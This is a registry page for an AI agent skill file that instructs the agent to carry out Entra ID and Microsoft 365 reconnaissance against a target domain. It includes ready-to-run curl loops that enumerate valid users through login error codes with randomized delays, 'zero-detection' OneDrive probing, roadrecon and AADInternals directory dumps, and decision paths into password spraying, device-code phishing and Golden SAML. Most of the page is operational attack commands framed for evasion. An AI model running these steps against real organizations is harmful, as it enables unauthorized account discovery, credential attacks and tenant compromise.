CtrlK
BlogDocsLog inGet started
Tessl Logo

entra-enum

Entra ID / M365 reconnaissance — unauthenticated tenant discovery via OpenID config, GetUserRealm, autodiscover; user enumeration via login response codes and OneDrive; federation/MFA/CA posture; authenticated enumeration with ROADtools (roadrecon), AADInternals, MSGraph.

65

Quality

79%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md
SKILL.md
Quality
Evals
Security

Entra ID / M365 Enumeration

You have a target domain (e.g. <TARGET>) and want to map the Entra ID tenant before any auth attempt. Tenant ID, validated users, federation type, MFA/CA posture — all reachable unauth. Then layer authenticated recon once you have a token.

Phase 0: Tenant discovery (unauth)

TARGET=<TARGET>           # e.g. contoso.com
# 1. OpenID config — tenant ID + auth endpoints
curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}'

# 2. GetUserRealm — federation type (Managed | Federated | Unknown)
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=any@${TARGET}&xml=1"

# 3. Autodiscover — federated IdP hint (ADFS, Okta, PingFed)
curl -s "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation\"" \
  -d @- <<XML | xmllint --format -
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
  <soap:Header><a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion></soap:Header>
  <soap:Body><a:GetFederationInformationRequestMessage><a:Request><a:Domain>${TARGET}</a:Domain></a:Request></a:GetFederationInformationRequestMessage></soap:Body>
</soap:Envelope>
XML

# 4. Tenant branding (logo, banner string => social-engineering pretext)
curl -sI "https://login.microsoftonline.com/${TARGET}/v2.0/.well-known/openid-configuration"

Pull tenant ID into env:

TENANT=$(curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq -r .issuer | awk -F/ '{print $4}')
echo "$TENANT"   # GUID

Phase 1: User enumeration (unauth)

o365creeper — login endpoint response codes

# AADSTS50053 = locked, AADSTS50034 = user doesn't exist, AADSTS50126 = wrong pw (= valid user)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
  -d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=<UPN>&password=Invalid!" \
  -d "scope=openid" | jq -r .error_description

Drive it from a list:

for u in $(cat users.txt); do
  err=$(curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
    -d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=NotReal_$(date +%s)!" \
    | jq -r .error_description | awk '{print $1}')
  case "$err" in AADSTS50126|AADSTS50053|AADSTS50079|AADSTS50076) echo "VALID: $u" ;; esac
  sleep $((RANDOM % 3 + 2))
done

OneDrive enumeration (no auth, no rate-limit log)

# Domain prefix derived from primary domain — `contoso.com` -> `contoso`
TENANT_PREFIX=<PREFIX>
curl -s -o /dev/null -w "%{http_code} ${u}\n" \
  "https://${TENANT_PREFIX}-my.sharepoint.com/personal/${u}_${TARGET//./_}/_layouts/15/onedrive.aspx"
# 403 => user exists, 404 => doesn't. Zero auth events generated.

Teams presence (authenticated, but very low-noise)

# With any tenant token:
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://presence.teams.microsoft.com/v1/presence/getpresence/" \
  -d '{"mris":["8:orgid:<USER_GUID>"]}'

Phase 2: Federation + MFA posture

# Managed vs Federated
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@${TARGET}&xml=1" | grep -oE '<NameSpaceType>[^<]+'

# If Federated => target the IdP (ADFS endpoints exposed):
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=test@${TARGET}&xml=1" | grep -oE '<STSAuthURL>[^<]+'

# Seamless SSO probe (DesktopSso) — presence of /DesktopSsoAuth indicates SSO
curl -sI "https://autologon.microsoftazuread-sso.com/${TARGET}/winauth/trust/2005/usernamemixed?client-request-id=<GUID>"

Phase 3: Authenticated enumeration

roadrecon (ROADtools)

pipx install roadtools
roadrecon auth -u <UPN> -p '<PASSWORD>'                  # device-code: roadrecon auth --device-code
roadrecon gather                                          # pulls users/groups/apps/roles/devices/CAs
roadrecon dump --format json --file roadrecon.json
roadrecon gui                                             # graph-aware browser

Targeted Cypher-like queries via roadrecon plugin:

roadrecon plugin policies   # ALL conditional access policies (raw JSON)
roadrecon plugin privexch   # high-priv mailbox roles

AADInternals (PowerShell — fewer Graph audit events)

Install-Module AADInternals -Force
$at = Get-AADIntAccessTokenForAADGraph -SaveToCache
Get-AADIntTenantDomains -Domain <TARGET>
Get-AADIntLoginInformation -Domain <TARGET>
Get-AADIntUsers | Select UserPrincipalName,DisplayName,immutableId
Invoke-AADIntReconAsOutsider -DomainName <TARGET>     # 100% unauth
Invoke-AADIntUserEnumerationAsOutsider -UserName users.txt

MSGraph direct

curl -s -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/users?\$select=userPrincipalName,id,onPremisesSyncEnabled" | jq .
curl -s -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/v1.0/directoryRoles" | jq '.value[]|.displayName'
curl -s -H "Authorization: Bearer $TOKEN" "https://graph.microsoft.com/beta/policies/conditionalAccessPolicies" | jq '.value[]|{n:.displayName,s:.state}'

Chains

  • Tenant discovery → user spray → password-spray (rate-limited; pair with entra-conditional-access-bypass for legacy-auth endpoints).
  • Federation discovery → ADFS target (Golden SAML — see entra-privesc).
  • OneDrive enum (silent) → device-code phish (see entra-device-code-phishing).
  • onPremisesSyncEnabled=true → hybrid identity hunt → AAD Connect server.

Tools

  • ROADtools / roadrecon — primary authenticated enum (Dirk-jan Mollema).
  • AADInternals — PowerShell, deep AAD internals, both unauth + auth modes.
  • o365creeper / MailSniper / MSOLSpray — user enumeration + spray.
  • TeamFiltration — combined enum/spray/exfil from M365.
  • GraphRunner — auth Graph operator UI.

Detection signatures

  • Sign-in logs: high volume of 50034 (unknown user) followed by 50126 => spray reconnaissance.
  • Repeated getuserrealm.srf from one IP is invisible to tenants — not logged.
  • OneDrive 403 ping pattern is also unlogged at the tenant — assume zero detection.
  • roadrecon gather produces ~30s burst of Graph queries from one IP — show up in audit log as Microsoft.Graph reads from non-corp ASN.

Decision gate

  • Federation == Federated → pivot to ADFS / IdP attacks; Golden SAML viable if you own the IdP host.
  • Federation == Managed and CA blocks legacy → escalate to device-code phishing.
  • onPremisesSyncEnabled=true on most users → hybrid env → hunt AAD Connect / azure-managed-identity MSOL extraction.
  • No CA on legacy auth → spray IMAP/POP/SMTP-AUTH (see entra-conditional-access-bypass).
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.